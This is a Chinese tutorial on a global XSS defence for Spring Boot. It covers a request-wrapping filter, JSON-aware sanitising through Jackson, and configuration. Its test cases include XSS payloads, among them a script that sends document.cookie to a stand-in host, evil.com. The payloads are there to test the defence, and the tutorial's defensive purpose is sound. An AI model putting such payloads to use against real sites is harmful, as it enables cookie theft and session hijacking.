Spring Boot项目XSS防御实战：从原理到全局过滤器实现

1. 项目概述：为什么Spring Boot项目必须重视XSS防御？

如果你正在开发一个Spring Boot应用，无论是电商、社交还是企业内部系统，只要涉及到用户输入和内容展示，XSS（跨站脚本攻击）就是一个绕不开的安全话题。我见过太多项目，功能做得花里胡哨，却在安全上“裸奔”，一个简单的留言板就能让攻击者轻松盗走用户Cookie，甚至劫持整个会话。这绝不是危言耸听，而是每天都在真实发生的安全事件。

XSS攻击的本质，是攻击者将恶意脚本代码“注入”到你的网页中，当其他用户浏览时，这些脚本就会被浏览器执行。想象一下，你的网站评论区，用户A发了一条看似普通的评论，但里面藏了一段JavaScript。用户B点开这条评论，他的登录凭证（Cookie）就被悄无声息地发送到了攻击者的服务器。这就是反射型XSS。更隐蔽的是存储型XSS，恶意脚本被直接存进了你的数据库，每一个访问相关页面的用户都会中招。

Spring Boot本身提供了强大的开发便利性，但它并没有为你内置一个“傻瓜式”的XSS防火墙。安全是需要你主动去构建的。网上有很多零散的方案，比如在Controller里对每个参数手动转义，或者用AOP切面处理，但这些方案要么太繁琐容易遗漏，要么性能有损耗，要么对JSON格式的@RequestBody支持不好。

因此，一个依赖集成式的防御方案就显得尤为重要。所谓“依赖集成”，我的理解是，它应该像Spring Boot生态里的其他Starter一样，通过引入依赖和简单配置，就能无侵入、全局性地为你的Web应用穿上“防弹衣”。它需要能同时处理传统的key=value表单参数、multipart/form-data文件上传，以及现在最主流的application/json请求体，并且要足够灵活，能让你排除某些不需要过滤的接口（比如富文本编辑器提交的内容）。接下来，我就结合自己多次“踩坑”和实战的经验，带你从零构建一个这样的完整防御体系。

2. 核心防御思路与方案选型

在动手写代码之前，我们必须先理清防御思路。XSS防御的核心原则是“对不可信的数据进行输出编码”。但“输出编码”这个动作发生在哪里，直接决定了方案的优雅度和可靠性。

2.1 常见方案对比与陷阱

方案一：在业务逻辑层手动转义这是最原始的方法。在Controller或Service层，拿到用户输入的String name后，调用StringEscapeUtils.escapeHtml4(name)再使用或存储。

@PostMapping("/submit") public String submit(String content) { // 每个参数都要手动处理，极易遗漏 String safeContent = HtmlUtils.htmlEscape(content); // ... 后续逻辑 return "success"; }

致命缺陷： 开发人员极易遗忘。只要有一个接口漏了，整个防御就形同虚设。而且它污染了业务代码，让核心逻辑和安全逻辑耦合在一起。

方案二：使用AOP对Controller方法进行拦截通过自定义注解和AOP，在方法执行前对参数进行转义。

@Around("@annotation(antiXss)") public Object around(ProceedingJoinPoint joinPoint) throws Throwable { Object[] args = joinPoint.getArgs(); // 遍历args，对String类型参数进行转义 // ... return joinPoint.proceed(args); }

主要问题： 1. 对@RequestBody绑定的复杂对象（JSON）处理起来很麻烦，需要递归遍历对象的所有字段。2. 性能开销相对较大，因为涉及反射和对象拷贝。3. 同样需要开发人员记得为每个Controller方法添加注解。

方案三：在视图层（如Thymeleaf、JSP）输出时转义这是最符合“输出编码”原则的位置。Spring MVC的模板引擎默认会对表达式进行HTML转义，例如Thymeleaf的th:text。

局限性： 这只保护了通过模板引擎渲染的页面。如果你的接口是纯API（返回JSON），或者你在JS中动态拼接HTML（innerHTML），这层防护就失效了。现代前后端分离架构下，此方案覆盖面不足。

方案四：使用HttpServletRequestWrapper定制过滤器（Filter）这是本文推荐的核心方案。它的原理是在请求到达Controller之前，通过一个Filter拦截请求，用一个自定义的HttpServletRequestWrapper包装原始的HttpServletRequest。在这个包装类里，重写getParameter,getParameterValues,getHeader,getInputStream等方法，在这些方法返回数据给应用之前，对数据进行清洗和转义。

为什么这是最佳实践？

1. 全局性与无侵入性： 配置一次，对所有接口生效，业务代码零修改。
2. 位置靠前： 在请求刚进入应用时就进行处理，符合安全上“边界防御”的理念。
3. 灵活度高： 可以轻松区分不同内容类型（表单、JSON）做不同处理，也可以配置URL排除规则。
4. 性能可控： 只对需要处理的请求进行过滤，且逻辑集中在过滤器层，效率较高。

2.2 我们的方案架构设计

我们将采用“自定义Filter + HttpServletRequestWrapper + 可配置化规则”的架构。整个数据流如下：

1. 请求入口： HTTP请求到达Tomcat等Servlet容器。
2. 过滤器拦截： 我们注册的XssFilter开始工作。
3. 请求包装：XssFilter创建XssHttpServletRequestWrapper实例，包装原始Request。
4. 数据清洗：
   • 对于application/x-www-form-urlencoded或multipart/form-data： 重写getParameter()等方法，在返回值前进行转义。
   • 对于application/json： 重写getInputStream()方法，读取整个请求体字符串，进行转义后，再提供一个“干净”的InputStream。
5. 链式传递： 将包装后的XssHttpServletRequestWrapper对象传递给后续的Filter和最终的DispatcherServlet。
6. 业务处理： Controller拿到的所有参数，都已经是经过清洗的“安全数据”。
7. 响应输出： 业务逻辑处理完毕，返回响应。注意： 此方案主要防御存储型和反射型XSS。对于基于DOM的XSS，需要在前端JS输出数据到HTML时进行编码，这部分需要前后端协同。

这个架构的关键在于，我们篡改了数据源。Spring MVC的参数解析器（如RequestParamMethodArgumentResolver、RequestBodyMethodArgumentResolver）是从HttpServletRequest对象里获取数据的。当我们提供了重写后的方法，它们拿到手的就是处理过的数据，整个过程对业务框架透明。

3. 核心组件实现与深度解析

理论清晰后，我们开始动手实现。我会先给出完整代码，然后对关键细节进行“庖丁解牛”式的分析。

3.1 核心一：HTML过滤引擎（HTMLFilter）

这是防御的“心脏”，负责将危险的HTML标签和属性过滤掉或进行转义。网上有很多现成的库，比如org.owasp.encoder:encoder、org.jsoup:jsoup。但为了彻底理解原理和实现高度定制，我们参考OWASP ESAPI的思想，自己实现一个轻量级但功能完备的HTMLFilter。

这个类较长，但逻辑清晰。它维护了几个核心列表：

• vAllowed： 允许保留的HTML标签及其属性白名单。例如，我们可能允许<a>标签，但只允许它有href和target属性。
• vSelfClosingTags： 自闭合标签，如<img />。
• vDisallowed： 明确禁止的标签黑名单。
• vAllowedProtocols： 允许的URL协议，如http、https、mailto，防止javascript:伪协议攻击。
• vAllowedEntities： 允许的HTML实体，如&,<。

它的主入口方法是filter(final String input)，处理流程如下：

1. escapeComments(s): 处理HTML注释<!-- -->，默认将其内容转义而非删除，防止注释中藏匿脚本。
2. balanceHTML(s): 尝试平衡标签。如果配置alwaysMakeTags=true，它会尝试修复未闭合的标签（如<b>text补全为<b>text</b>）。安全实践中，通常将此设为false，直接转义尖括号更安全。
3. checkTags(s): 最核心的步骤。用正则表达式P_TAGS匹配所有<...>内容，交给processTag方法处理。
4. processTag(String s): 判断是开始标签、结束标签还是注释。对于开始标签，检查标签名是否在白名单内，然后遍历其属性，检查属性名是否被允许，并对src、href这类属性值进行协议检查（processParamProtocol）。
5. processRemoveBlanks(s): 移除空标签，如<b></b>。

实操心得：关于转义与过滤的抉择这里有一个关键设计选择：是过滤掉非法标签，还是转义整个内容？HTMLFilter采用的是“过滤”策略，即只允许白名单内的标签通过。这对于需要保留部分HTML格式（如富文本编辑器）的场景是必要的。但对于绝大多数API接口，用户输入本就不该包含HTML，更安全的做法是直接转义，即将<、>、&、"、'等字符转换为HTML实体（<、>、&、"、'）。这样，即使用户输入了<script>alert(1)</script>，存储和展示的也是纯文本，彻底杜绝了执行的可能。我们的方案将提供EscapeUtil.clean()（过滤）和EscapeUtil.escape()（转义）两种方式，并在Wrapper中默认使用更严格的clean()。

3.2 核心二：请求包装器（XssHttpServletRequestWrapper）

这个类是连接Filter和Spring MVC的桥梁。它继承了HttpServletRequestWrapper，并重写了关键的数据获取方法。

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return cleanXss(value); // 清洗单个参数 } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) return null; String[] escapedValues = new String[values.length]; for (int i = 0; i < values.length; i++) { escapedValues[i] = cleanXss(values[i]); } return escapedValues; } @Override public Map<String, String[]> getParameterMap() { Map<String, String[]> parameterMap = super.getParameterMap(); Map<String, String[]> escapedMap = new LinkedHashMap<>(); for (Map.Entry<String, String[]> entry : parameterMap.entrySet()) { String[] values = entry.getValue(); String[] escapedValues = new String[values.length]; for (int i = 0; i < values.length; i++) { escapedValues[i] = cleanXss(values[i]); } escapedMap.put(entry.getKey(), escapedValues); } return escapedMap; } @Override public String getHeader(String name) { String value = super.getHeader(name); return cleanXss(value); // 注意：对部分Header也需清洗，如User-Agent在某些场景下可能被输出 } @Override public ServletInputStream getInputStream() throws IOException { // 【关键】处理JSON请求体 if (!isJsonRequest()) { return super.getInputStream(); } String jsonStr = IOUtils.toString(super.getInputStream(), StandardCharsets.UTF_8); if (StringUtils.isEmpty(jsonStr)) { return super.getInputStream(); } // 清洗JSON字符串 String cleanJsonStr = cleanJsonXss(jsonStr); ByteArrayInputStream bis = new ByteArrayInputStream(cleanJsonStr.getBytes(StandardCharsets.UTF_8)); return new ServletInputStream() { // ... 实现 read, isFinished, isReady, setReadListener 等方法 @Override public int read() { return bis.read(); } // 其他方法返回适当值 }; } private boolean isJsonRequest() { String contentType = getHeader(HttpHeaders.CONTENT_TYPE); return contentType != null && contentType.toLowerCase().startsWith(MediaType.APPLICATION_JSON_VALUE); } private String cleanXss(String value) { if (StringUtils.isEmpty(value)) return value; // 使用HTMLFilter过滤，或直接进行HTML转义 return EscapeUtil.clean(value); // 或者 HtmlUtils.htmlEscape(value) } private String cleanJsonXss(String jsonStr) { // JSON清洗更复杂，不能直接转义整个字符串，会破坏JSON结构。 // 需要解析JSON，只对字符串类型的值进行清洗。 // 这里可以使用Jackson/ObjectMapper解析成JsonNode，遍历处理。 // 为简化示例，我们先使用一种激进但可能破坏JSON的方式：仅处理明显威胁。 // 生产环境建议使用完整的JSON感知清洗。 return jsonStr.replaceAll("(?i)<script", "&lt;script") .replaceAll("(?i)</script>", "&lt;/script&gt;") .replaceAll("javascript:", "java-script:"); // 警告：此方法不完善，仅作演示。下文会给出完整方案。 } }

深度解析与避坑指南：getInputStream()的陷阱重写getInputStream()是处理@RequestBodyJSON请求的关键，但这里有几个大坑：

1. 流只能读一次：HttpServletRequest的输入流默认只能读取一次。我们在getInputStream()里读了，Controller的@RequestBody就没得读了。所以我们必须把读取后的“干净”数据，重新包装成一个新的ByteArrayInputStream返回。
2. 字符编码： 必须使用正确的字符集（通常是UTF-8）读取和转换，否则会乱码。
3. JSON结构破坏：这是最容易出错的地方！你不能简单地对整个JSON字符串调用htmlEscape。例如，用户输入是{"name": "<script>alert(1)</script>"}，如果你转义了整个字符串，会得到{"name": "<script>alert(1)</script>"}，这成了一个无效的JSON，反序列化会失败。正确的做法是解析JSON树，只对叶子节点的字符串值进行转义。这需要集成Jackson库。

3.3 核心三：过滤器本体（XssFilter）与配置

过滤器负责组织逻辑，决定哪些请求需要被过滤。

@Slf4j public class XssFilter implements Filter { private List<String> excludes = new ArrayList<>(); // 排除的URL模式 private boolean enabled = true; // 过滤开关 @Override public void init(FilterConfig filterConfig) { String excludeUrls = filterConfig.getInitParameter("excludes"); if (StringUtils.isNotBlank(excludeUrls)) { excludes = Arrays.asList(excludeUrls.split(",")); } String enabledStr = filterConfig.getInitParameter("enabled"); if (StringUtils.isNotBlank(enabledStr)) { enabled = Boolean.parseBoolean(enabledStr); } } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (!enabled) { chain.doFilter(request, response); return; } HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; // 检查请求是否在排除列表中 if (isExcludeUrl(req.getRequestURI())) { chain.doFilter(request, response); return; } // 包装请求 XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper(req); chain.doFilter(xssRequest, response); } private boolean isExcludeUrl(String url) { if (excludes.isEmpty()) return false; for (String pattern : excludes) { // 使用Spring的AntPathMatcher进行路径匹配 AntPathMatcher matcher = new AntPathMatcher(); if (matcher.match(pattern.trim(), url)) { return true; } } return false; } }

为了让过滤器生效，我们需要在Spring Boot配置中注册它。这里使用FilterRegistrationBean，它可以提供更灵活的配置（顺序、URL模式、初始化参数）。

@Configuration @ConditionalOnProperty(name = "security.xss.enabled", havingValue = "true", matchIfMissing = true) public class XssFilterAutoConfiguration { @Value("${security.xss.excludes:/api/rich-text/**}") private String excludes; @Value("${security.xss.url-patterns:/*}") private String urlPatterns; @Bean public FilterRegistrationBean<XssFilter> xssFilterRegistration() { FilterRegistrationBean<XssFilter> registration = new FilterRegistrationBean<>(); registration.setFilter(new XssFilter()); registration.addUrlPatterns(urlPatterns.split(",")); registration.setName("xssFilter"); registration.setOrder(Ordered.HIGHEST_PRECEDENCE + 10); // 设置较高优先级 Map<String, String> initParameters = new HashMap<>(); initParameters.put("excludes", excludes); initParameters.put("enabled", "true"); registration.setInitParameters(initParameters); return registration; } }

对应的application.yml配置：

security: xss: enabled: true # 总开关 excludes: /api/rich-text/**, /actuator/health # 排除的URL模式，支持Ant风格 url-patterns: /* # 过滤的URL模式

配置经验谈：过滤器的顺序与排除项

• 顺序（Order）： XSS过滤器应该在Spring Security过滤器链之后、业务逻辑之前。Ordered.HIGHEST_PRECEDENCE的值是Integer.MIN_VALUE，我们在此基础上加10，确保它在Spring Security认证授权之后执行，避免干扰登录等流程。
• 排除项（Excludes）：必须为富文本编辑器等接口设置排除项！用户提交的富文本内容本身包含合法的HTML标签（如<p>、<img>），如果被过滤或转义，内容就损坏了。富文本的安全应在编辑器前端（白名单过滤）和存储后展示时（使用安全的HTML渲染库，如JSoup的safelist）来保证，而不是在全局请求过滤层。

4. 高级话题：JSON请求体的精准清洗

前面提到，粗暴地转义整个JSON字符串会破坏结构。我们需要一个JSON感知的清洗策略。这里提供两种生产级方案。

4.1 方案一：基于Jackson的定制反序列化器

这是更优雅、与Spring MVC集成度更高的方案。我们自定义一个Jackson的JsonDeserializer，在反序列化过程中对字符串值进行清洗。

public class XssStringJsonDeserializer extends JsonDeserializer<String> { @Override public String deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { // 获取原始的字符串值 String value = p.getValueAsString(); if (value == null) { return null; } // 进行XSS清洗 return EscapeUtil.clean(value); } }

然后，我们需要将这个反序列化器注册到Spring Boot默认的ObjectMapper中。可以创建一个配置类：

@Configuration public class JacksonXssConfig { @Bean @Primary // 声明为主要Bean，覆盖默认的ObjectMapper public ObjectMapper xssObjectMapper() { ObjectMapper objectMapper = new ObjectMapper(); SimpleModule module = new SimpleModule(); // 为String类型注册自定义反序列化器 module.addDeserializer(String.class, new XssStringJsonDeserializer()); objectMapper.registerModule(module); // 保持其他配置（如日期格式） objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); return objectMapper; } }

这个方案的好处是，它直接作用于Jackson的反序列化过程，对所有使用@RequestBody的接口自动生效，且不会干扰非字符串类型的字段。但它的缺点是，无法处理非JSON格式的请求，且配置略复杂。

4.2 方案二：在Wrapper中集成JSON解析清洗

我们改进之前的XssHttpServletRequestWrapper.getInputStream()方法，实现一个完整的JSON清洗逻辑。

private String cleanJsonXss(String jsonStr) throws IOException { ObjectMapper objectMapper = new ObjectMapper(); JsonNode rootNode = objectMapper.readTree(jsonStr); cleanJsonNode(rootNode); return objectMapper.writeValueAsString(rootNode); } private void cleanJsonNode(JsonNode node) { if (node.isObject()) { ObjectNode objectNode = (ObjectNode) node; Iterator<Map.Entry<String, JsonNode>> fields = objectNode.fields(); while (fields.hasNext()) { Map.Entry<String, JsonNode> entry = fields.next(); JsonNode valueNode = entry.getValue(); if (valueNode.isTextual()) { // 只清洗文本节点 String cleanedValue = EscapeUtil.clean(valueNode.asText()); objectNode.put(entry.getKey(), cleanedValue); } else if (valueNode.isContainerNode()) { // 递归处理对象或数组 cleanJsonNode(valueNode); } } } else if (node.isArray()) { ArrayNode arrayNode = (ArrayNode) node; for (int i = 0; i < arrayNode.size(); i++) { JsonNode elementNode = arrayNode.get(i); if (elementNode.isTextual()) { String cleanedValue = EscapeUtil.clean(elementNode.asText()); arrayNode.set(i, cleanedValue); } else if (elementNode.isContainerNode()) { cleanJsonNode(elementNode); } } } // 其他类型（数字、布尔等）无需处理 }

在getInputStream()中，我们调用cleanJsonXss()来处理JSON字符串。这个方法递归遍历JSON树，精准地清洗所有字符串值，完美保持了JSON结构。

性能考量： 每次JSON请求都进行完整的解析和序列化，会有性能开销。对于高性能场景，可以考虑以下优化：

1. 使用更快的JSON库，如Jackson Afterburner模块。
2. 引入缓存，对清洗后的JSON字符串进行缓存（需注意请求体的唯一性，通常不适用）。
3. 最重要的： 通过excludes配置，将不需要过滤的高频、可信接口排除在外。

5. 实战测试、常见问题与排查指南

理论实现完毕，必须经过严格测试。我们编写一个测试Controller来验证效果。

5.1 测试Controller与用例设计

@RestController @RequestMapping("/api/test") @Slf4j public class XssTestController { // 测试1：普通表单参数 @PostMapping("/form") public String testForm(@RequestParam String name, @RequestParam String comment) { log.info("接收参数 - name: {}, comment: {}", name, comment); // 直接返回，看响应是否被转义 return String.format("Name: %s, Comment: %s", name, comment); } // 测试2：JSON请求体 @PostMapping("/json") public UserDto testJson(@RequestBody UserDto user) { log.info("接收用户 - username: {}, email: {}", user.getUsername(), user.getEmail()); return user; // 返回对象，观察序列化后的JSON } // 测试3：排除接口（模拟富文本提交） @PostMapping("/rich-text") public String testRichText(@RequestBody RichTextDto richText) { log.info("接收富文本 - title: {}, content: {}", richText.getTitle(), richText.getContent()); // 这里的内容应包含原始HTML标签 return "success"; } @Data public static class UserDto { private String username; private String email; private String bio; // 个人简介，可能包含脚本 } @Data public static class RichTextDto { private String title; private String content; // 富文本HTML内容 } }

使用Postman或CURL进行测试：

用例1：反射型XSS攻击

POST /api/test/form Content-Type: application/x-www-form-urlencoded name=John&comment=<script>alert('xss')</script><img src=x onerror=alert(1)>

预期结果： 日志和返回内容中的comment值应该是被转义或过滤后的文本，如<script>alert('xss')</script>或直接是空字符串（取决于HTMLFilter配置），浏览器不会弹出警告。

用例2：JSON格式攻击

POST /api/test/json Content-Type: application/json { "username": "hacker", "email": "test@example.com", "bio": "<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>" }

预期结果： 接收到的bio字段值中的尖括号等字符被转义，返回的JSON中同样是转义后的文本。

用例3：排除接口验证

POST /api/test/rich-text Content-Type: application/json { "title": "My Article", "content": "<p>This is a <strong>safe</strong> HTML content with a <a href=\"/link\">link</a>.</p>" }

预期结果：content字段的HTML标签被完整保留，未被过滤。

5.2 常见问题排查表

在实际集成中，你可能会遇到以下问题。这里提供一个快速排查指南。

5.3 我踩过的坑：编码与字符集

这是一个非常隐蔽的坑。有一次，过滤功能在测试环境正常，上了生产环境，用户输入的中文全部变成了乱码。排查后发现，是因为在getInputStream()方法中，读取流时没有指定字符集，而Tomcat容器的默认编码可能与应用编码（UTF-8）不一致。

解决方案： 始终显式指定字符集。

String jsonStr = IOUtils.toString(super.getInputStream(), StandardCharsets.UTF_8); // 以及 byte[] cleanJsonBytes = cleanJsonStr.getBytes(StandardCharsets.UTF_8);

另一个相关问题是，如果你的应用还需要处理GBK等编码，情况会更复杂。这时，最好从请求头Content-Type中提取charset信息，或者统一在Filter层通过request.setCharacterEncoding("UTF-8")强制设定请求编码。

6. 防御的局限性与纵深防御体系

没有任何单一方案是银弹。我们的依赖集成式XSS过滤器是一个强大的基础层防御，但它有局限性：

1. DOM型XSS： 这种XSS发生在客户端JavaScript执行时，例如document.write(location.hash)，恶意代码来自URL片段或前端JS操作，不经过服务器。过滤器对此无能为力。防御需要在前端对输出到HTML（如innerHTML、document.write）的数据进行编码。
2. 输出上下文多样性： 数据可能输出到HTML属性、JavaScript代码块、CSS、URL等不同上下文。我们的HTML实体转义只对HTML正文有效。输出到<script>标签内或事件属性（如onclick）需要不同的编码规则。
3. 富文本内容： 如前所述，需要豁免并配合专门的富文本安全策略。

因此，必须建立纵深防御体系：

• 前端： 对用户输入进行初步校验和提示，在输出到不同上下文时使用对应的编码函数（如Vue/React的模板默认转义，原生JS可使用textContent替代innerHTML）。
• 后端（本方案）： 在入口处进行严格的输入过滤和转义，作为核心防线。
• 存储层： 虽然存储了转义后的数据，但观念上仍应视数据库中的数据为“不可信”。
• 输出层： 根据最终的输出目标（HTML、JSON、PDF），在渲染前进行最后一次上下文相关的编码。对于API，确保Content-Type: application/json，避免浏览器误解为HTML。
• HTTP安全头： 设置Content-Security-Policy (CSP)头是防御XSS的终极利器。它可以告诉浏览器只执行来自特定来源的脚本，从根本上杜绝内联脚本和未经授权的外部脚本执行。即使攻击者成功注入了脚本，也会被浏览器阻止。

最后，安全是一个持续的过程。这个过滤器需要纳入你的自动化测试（包括单元测试和渗透测试），定期更新HTML白名单和过滤规则，以应对新型的XSS攻击变种。将这套方案打包成一个公司内部的spring-boot-starter-xss，就能在所有的Spring Boot项目中轻松集成，统一提升整个技术栈的安全基线。